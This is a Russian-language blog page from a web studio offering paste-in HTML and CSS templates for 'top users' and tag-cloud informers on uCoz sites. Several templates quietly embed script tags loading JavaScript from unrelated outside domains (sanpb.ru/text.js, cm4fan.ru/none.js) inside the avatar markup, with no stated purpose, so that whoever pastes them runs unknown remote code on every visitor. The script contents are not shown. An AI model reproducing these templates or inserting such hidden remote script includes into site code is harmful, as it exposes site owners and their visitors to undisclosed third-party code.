Информеры - Блог - Веб-студия IPC : Одесса : Создание и продвижение сайтов

Топ пользователей для ucoz

Красивый и приятный на вид Топ пользователей для ucoz, скрипт очень хорошо подходит под все цвета дизайнов и легко редактируется!
Установка:
1. Создаем информер, Раздел - Пользователи, Сортировка - репутация, Количество материалов - 4, Количество колонок - 1
2. После в вид информера, вставляем ниже приведенный код (не забываем удалить из него старый код)

Code

<div class="vsepodrad_user">
<div class="user_no">$NUMBER$</div>
<div class="vsepodrad_avatar"><a href="$PROFILE_URL$"><?if($AVATAR_URL$)?><img src="$AVATAR_URL$" width="30" height="30" border="0" class="vsmall_thumb"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><?else?><img src="http://bambun.ru/images/no_ava.jpg" width="30" height="30" border="0" class="vsmall_thumb"><?endif?></a></div>
<div class="utitle"><a href="$PROFILE_URL$">$USERNAME$</a>Комментариев : $COM_POSTS$ - Постов залито : $LOAD_POSTS$
</div>
<div class="clearfix"></div>
</div>

3. Как тока поставить вид, вам ток остается поставить это информер в любое место на сайте - там где хотели его видеть:

Code

<div class="vsepodrad">
<div class="vsepodrad_bg">
<h2>10 лучших пользователей</h2>
$КОД_ИНФОРМЕРА$
</div>
</div>
<style>
.vsepodrad { background:#FFF; border:1px solid #b6e2fe; padding:2px; width:300px; margin:0px auto 10px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg { background: url(http://bambun.ru/images/simple_gradient.png) repeat-x bottom; min-height:81px; background-color:#fff; border:1px solid #85a8c8; margin:0px; padding:0px 2px; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px }
.vsepodrad_bg h2 { margin:5px 2px 8px; padding:0px; color:#21759b; font-size:18px; font-family:Tahoma; text-transform:uppercase; font-weight:bold; }
.vsepodrad_user { background:url(http://bambun.ru/images/top_user.png) repeat-x; height:35px; border:1px solid #CCC; margin-bottom:15px; font-size:9px; padding:0px 8px; position:relative; background-color:#FFF; color:#666}
.vsepodrad_user:hover{background-position:bottom}
.vsepodrad_user a{font-size:12px; font-family:Arial, Helvetica, sans-serif; color:#333; text-decoration:none; font-weight:bold}
.vsepodrad_user a:hover{color:#0099cc}
.vsepodrad_avatar { width:30px; height:30px; padding:0px; margin:2px 5px 0px 20px; vertical-align:super; float:left; border:1px #ccc solid }
.vsepodrad_user > .user_no { background:url(http://bambun.ru/images/blocks.png) -231px -56px no-repeat; width:19px; height:45px; position:absolute; top:-5px; left:5px; font-size:11px; color:#FFF; text-shadow:1px 1px 1px #6fa1b7; text-indent:4px; line-height:45px; }
.vsepodrad_bg .utitle { margin-top:5px}
.vsepodrad_bg .utitle a{display:block}
</style>

4. Установка завершена!!!

Категория: Информеры | Просмотров: 609 | Добавил: startsmart | Дата: 06.11.2012 | Комментарии (0)

Скрипт топ пользователей для uCoz сайта

Красивый информер Топ пользователей для uCoz
При наведении появляется информация о пользователе
Очень удобный и кроссбраузерный скрипт, хорошо подходит для светлых дизайнов.

Установка:

Создаем информер, делается это тут
http://адрес_вашего_сайта/panel/?a=informers

С такими настройками:
[ Пользователи · Материалы · Кол. файлов · Материалы: 6 · Колонки: 2 ]
Название можете сделать любое, и количество колонок под себя..

Переходим к дизайну информера:

Code

<center>
  <div class="utop-user" align="center">
  <a class="ut-ava east" style="display: block;" href="$PROFILE_URL$" title="$USERNAME$
  Релизов: $LOAD_POSTS$
  Репутация: $REPUTATION$
  Комментариев: $COM_POSTS$">
  <div class="ut-ava">
  <?if($AVATAR_URL$)?><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" border="0"><?else?><img src="http://ili.pp.ua/img/noavatar.png" border="0"><?endif?>
  </div>
  <span style="color:#323232" ><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></span>
  <div class="utop-number">$NUMBER$</div>
  </div></center></a>

Посел изменений сохраняете его..
И запоминаем код вызова информера, например $MYINF_1$

Теперь создаете новый блок (Например через конструктор)
И в его HTML вставляете:

Code

$MYINF_1$ - это код информера, меняете на свой

Сохраняете и радуетесь новому блоку "Топ пользователей"
Надеюсь всё понятно написал - будут вопросы пишите в комментарии.

Категория: Информеры | Просмотров: 459 | Добавил: Aninew | Дата: 19.10.2012 | Комментарии (0)

Информер тегов с дизайном как на Dle

Теперь на вашем сайте теги станут выглядить более изящнее и в тоже время удивлять своим дизайном

Установка:

Ваш шаблон куда-нить наверх добавить этот код:

Code

Теперь в любой чистый блок или в нижнюю часть сайта вставляем сами теги!

Code

  <div id="content">
  <div id="right">
  <div class="tags"><a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Фото</a>
  <a href="/" style="padding:2px; font-size:20px; color:#c4c4c4;" class="structure">модуль</a>
  <a href="/" style="padding:2px; font-size:31px; color:#aad815;" class="structure">шаблон</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">web20</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">blog</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">пользователи</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">комментарии</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">Skin</a>
  <a href="/" style="padding:2px; font-size:17px; color:#c4c4c4;" class="structure">Скин</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">News</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Стильный</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">web 20</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">новости</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">видео</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Награды</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">оплата</a>
  <a href="/" style="padding:2px; font-size:12px; color:#336699;" class="structure">платный</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">files</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Hamer</a>
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">хаки</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">free</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">warcraft</a>
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">softer</a>

Категория: Информеры | Просмотров: 621 | Добавил: Aninew | Дата: 16.10.2012 | Комментарии (0)

Красивый информер "Топ пользователей" для ucoz

Зайдя на один сайт увидел красивый информер - Топ аплоадеров (пользователей)
Решил добавить его в паблик, особенность информера в том,
Что при наведении на иконки выдвигается небольшая информация о количестве файлов и т.д.

Установка:
1)Создаем информер
Кто не знает где это вот ссылка: http://адрес_вашего_сайта/panel/?a=informers

Информер с такими параметрами:

Название информера - Топ пользователей
Раздел - Пользователи
Способ сортировки - Количество файлов
Количество материалов - 4
Количество колонок - 2
Создать

Должен появится новый информер - и рядом с ним код вызова
Например $MYINF_1$ - у вас может быть другой

2)После этого меняем дизайн информера
Заходим в управление дизайном созданного информера
И заменяем весь код на этот:

Code

</div></div></div>
</div>

<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">
<?if($AVATAR_URL$)?><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" title="Перейти в профиль" id="topusers"><?else?>
<img src="http://ili.pp.ua/img/no.png" id="topusers">
<?endif?></a>

<div class="chat-addtime" style="float:none; width:87px; margin-top:1px;">
<span style="display:block; text-align:center;">
<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">

<?if(len($USERNAME$)>11)?>
<?substr($USERNAME$,0,11)?>
<?else?>
$USERNAME$
<?endif?>
</a>
</span>
</div>
</center>
<script type="text/javascript"> $('.place$NUMBER$').hover( function () {$(this).stop().animate({"width" : $('.place1 #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.torrents').hover( function () {$(this).stop().animate({"width" : $('.torrents #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.comments').hover( function () {$(this).stop().animate({"width" : $('.comments #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); </script>

Теперь создаём новый блок (например через конструктор)
И называем его например "Топ пользователей"
В html код блока вставляем:

Code

$MYINF_1$
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/cssuser.css">

$MYINF_1$ - меняем на свой (если у вас другой)

Готово..
Думаю, что всё понятно разъяснил

Категория: Информеры | Просмотров: 529 | Добавил: Aninew | Дата: 12.10.2012 | Комментарии (0)

Скрипт Топ пользователей по кол-ву файлов и постов на форуме

Установка:
Создаем информер:
[ Пользователи · Материалы · Кол. сообщений в форуме · Материалы: 5 · Колонки: 1 ]
В шаблон информера вставляем:

Code

<center><table cellspadding="0" class="topten_table" style="border-color: rgb(76, 76, 76); width: 100%; margin: 0px;" cellspacing="0"><tbody><tr><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><td style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px none; width: 48px;" onclick="'';"><a href="$PROFILE_URL$" target="_blank" title="$USERNAME$"><?if($AVATAR_URL$)?>
  <img src="$AVATAR_URL$" border="0" style="height: 40px; width: 40px; margin-right: 5px; border: 1px solid rgb(76, 76, 76); padding: 2px;"><?else?>
  <img alt="Аватар не выбран" src="http://ili.pp.ua/img/noavat.png" border="0" style="height: 40px; width: 40px; margin-right: 5px; border: 1px solid rgb(76, 76, 76); padding: 2px;">
  <?endif?></a></td><td style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px none; text-align: left; font-size: 10px; font-family: tahoma,verdana,arial; color: rgb(85, 85, 85); line-height: 14px;" onclick="';"><a href="$PROFILE_URL$"><font style="font-size: 12px; color: rgb(100, 100, 100);"><b>$USERNAME$</b></font></a><br>Добавил файлов: <b><font color="646464">$LOAD_POSTS$</font></b><br>Количество постов: <b><font color="646464">$FORUM_POSTS$</font></b></td></tr></tbody></table></center><hr>

Категория: Информеры | Просмотров: 510 | Добавил: Aninew | Дата: 11.10.2012 | Комментарии (0)

1-10 11-20 21-30 31-35